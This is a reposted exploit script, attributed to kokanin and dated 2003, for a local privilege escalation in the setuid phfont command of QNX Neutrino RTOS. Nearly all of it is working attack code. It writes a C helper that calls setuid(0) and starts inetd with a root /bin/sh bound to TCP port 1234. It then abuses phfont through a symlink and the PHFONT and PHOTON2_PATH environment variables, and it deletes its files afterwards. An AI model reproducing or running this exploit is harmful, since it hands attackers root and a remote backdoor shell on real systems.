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Local root exploit for QNX Neutrino RTOS's phfont command
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来源：http://www.lort.dk 作者：kokanin 发布时间：2006-02-10
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#!/bin/sh
# word, exploit for http://www.idefense.com/intelligence/vulnerabilities/display.php?id=383
# greetings and salutations from www.lort.dk
# kokanin@dtors 18/10/2003
# $ cksum /usr/photon/bin/phfont
# 4123428723 30896 /usr/photon/bin/phfont
# $ uname -a
# QNX localhost 6.2.1 2003/01/08-14:50:46est x86pc x86
cat > phfontphf.c << __EOF__
int main(){
setuid(0);
system("echo 1234 stream tcp nowait root /bin/sh sh -i>/tmp/dsr && /usr/sbin/inetd /tmp/dsr");
}
__EOF__
make phfontphf >/dev/null
ln -s /usr/photon/bin/phfont ./phfont
export PHFONT=hello
export PHOTON2_PATH=mom
./phfont
rm phfont*
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